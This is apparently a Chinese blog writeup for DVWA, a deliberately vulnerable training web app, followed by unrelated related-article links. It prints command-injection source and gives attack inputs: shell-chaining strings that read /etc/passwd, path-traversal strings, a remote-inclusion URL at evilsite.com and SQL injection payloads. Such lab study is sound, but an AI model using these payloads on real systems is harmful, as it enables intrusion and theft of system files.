DVWA(Dam vulnerable Web Application)是使用PHP+Mysql编写的一套用于常规漏洞教学和漏洞挖掘的一个测试学习程序,在此程序中包含了常见的web方面的漏洞,如命令行执行(Command Execution),CSRF、文件包含(File Inclusion)、SQL注入(SQL Injection)、SQL盲注(SQL Injection Blind)、文件上传(Upload)、反射型XSS(XSS reflected)、存储型XSS(XSS stored)。DVWA还可以设置漏洞的难度,在DVWA1.8版本中存在low,medium以及high三种级别的,在新版DVWA1.9中,则存在low、medium、high和impossible四种级别。对于想了解web安全的同学或者是有志于从事web安全方向但是对web安全不了解的同学可以利用DVWA这个参透测试演练系统提供对web安全的认识。在本文中主要是基于windows7平台下的DVWA1.8版本的讲解。

0X00 command injection

Low

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if( isset( $_POST[ 'submit' ] ) ) {

$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {

$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';

} else {

$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';

}
}
?>

从代码可以看出,代码没有对输入的IP进行任何的判断和过滤就直接使用了$_REQUEST[ip]来接受从页面传递过来的值。在此代码中使用了以下的函数。

  • php_uname():是用于返回运行PHP的操作系统的描述,和phpinfo()最顶端上输出的是同一个字符串。php_uname()函数中参数可以有多种不同的值。当参数为s时,php_uname()返回的是操作系统的名称,如FreeBSD或者是Windows NT等等。
  • shell_exec():通过shell环境变量执行命令,并且将完成的输出以字符串的方式返回。所以在本代码中,shell_exec()方法就是用来执行ping命令的。
  • 命令连接符和管道:在shell中可以使用命令连接符或者是管道的方式同时在一条语句中同时运行多个命令。
    | 管道符,将上一个命令的输出作为下一个命令的输入
    & 连接符,使用&符号时,就可以同时运行多条命令
     Linux环境下的连接符,和&作用相同
    && 逻辑与,只有在前面的命令执行成功时,后面的命令才会执行
    || 逻辑或,前面的命令如果执行成功,后面的命令则不执行

在完全没有对代码进行过滤的情况下,如果是在Linux环境下,输入

1
127.0.0.1 & /etc/passwd

那么就会造成命令执行的攻击了。

medium

源码分析

1
|| cat /etc/passwd

high
目前还无法破解

0X01 file inclusion

low/medium:
答案可以有很多

1
2
3
4
5
../../../../../../etc/passwd
../../../../../../etc/group
../../../../../../var/www/phpinfo.php

http://www.evilsite.com/evil.php

high:
限制了file为include.php,导致无法进行文件包含的漏洞

SQL Injection

low
1’ 或者使用 1 or 1=1# 同样可以,那么说明就存在sql注入漏洞

1
2
%' and '0'='0
%' or 0=0 union select null,version() #

Dvwa writeup的更多相关文章

  1. 在xampp中配置dvwa

    DVWA主要是用于学习Web的常见攻击,比如SQL注入.XSS等的一个渗透测试系统,下面我将结合XAMPP来说明它的安装过程. 一.环境 OS:Windows 10 XAMPP:5.6.24 DVWA ...

  2. 2016第七季极客大挑战Writeup

    第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...

  3. DVWA安装,ALMP环境搭建以及php版本转换

    前言 本文记录DVWA(Damn Vulberability Web App)在虚拟机中安装配置,包括ALMP环境的搭建和php版本的转换. 目录 2. ALMP环境搭建 3. php版本切换 一. ...

  4. ISCC2016 WriteUp

    日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...

  5. DAY5 DVWA之SQL注入演练(low)

    1.设置 把安全等级先调整为low,让自己获得点信心,免得一来就被打脸. 2.测试和分析页面的功能       这里有一个输入框 根据上面的提示,输入用户的id.然后我们输入之后,发现它返回了关于这个 ...

  6. dvwa第一次接触

    DVWA (Damn Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序.包含了SQL注入.XSS.盲注等 ...

  7. 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp

    洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...

  8. 配置安装DVWA

    本文地址:http://www.cnblogs.com/go2bed/p/4162313.html —————————————————— 什么是DVWA? Damn Vulnerable Web Ap ...

  9. 爱春秋之戏说春秋 Writeup

    爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...

随机推荐

  1. Sizing and Capacity Planning for SharePoint 2013 - Resources

    http://blogs.msdn.com/b/sanjaynarang/archive/2013/04/06/sizing-and-capacity-planning-for-sharepoint- ...

  2. 转:纠结的Shim

    原文地址:http://www.haorooms.com/post/requirejs_sy_lj RequireJs已经流行很久了,它提供了以下功能: 声明不同js文件之间的依赖 可以按需.并行.延 ...

  3. onWindowFocusChanged

    这个onWindowFocusChanged指的是这个Activity得到或者失去焦点的时候 就会call. 也就是说 如果你想要做一个Activity一加载完毕,就触发什么的话 完全可以用这个!!! ...

  4. STL--双端队列(deque)和链表(list)

    双端队列(deque容器类): #include<deque>与vector 类似,支持随机访问和快速插入删除,它在容器中某一位置上的操作所花费的是线性时间. 与vector不同的是:de ...

  5. CSS 伪类和伪对象选(五)

    一.伪选择器 伪选择器包括:伪类选择器和伪对象选择器,以冒号(:)作为前缀,冒号后紧跟伪类或者伪对象名称,冒号前后没有空格,否则解析为包含选择器 如: div:hover{ font-size:12p ...

  6. Android底部TabHost API

    今天在项目中遇到了底部TabHost,顺便就写了一个底部TabHost的api继承即可使用非常简单,以下为源代码: 首先是自定义的TabHostActivity,如果要使用该TabHost继承该类即可 ...

  7. 关于Assets.car素材问题

    最近在做自己的第一个App,由于全程都是自己一个人完成,所以原型设计.素材都得自己找,自己改.遇到了提取Assets.car中的素材的问题,通过网络找到了2中解决方法: themeEngine 使 用 ...

  8. 二维码扫描利用ZBar实现

    上次是根据系统的属性自己封装的一个二维码扫描,这次给大家介绍一下基于ZBar集成的类似于QQ二维码扫描界面的二维码扫描的效果.                                     ...

  9. eclipse 中手动安装 subversive SVN

    为什么我选择手动安装呢?因为通过 eclipse market 下载实在太慢了.   1.下载离线安装包 http://www.eclipse.org/subversive/latest-releas ...

  10. 记录ubuntu下的svn一些操作

    1.install svn serversudo apt-get install subversion 2.make repositorysudo mkdir /home/.svnsudo mkdie ...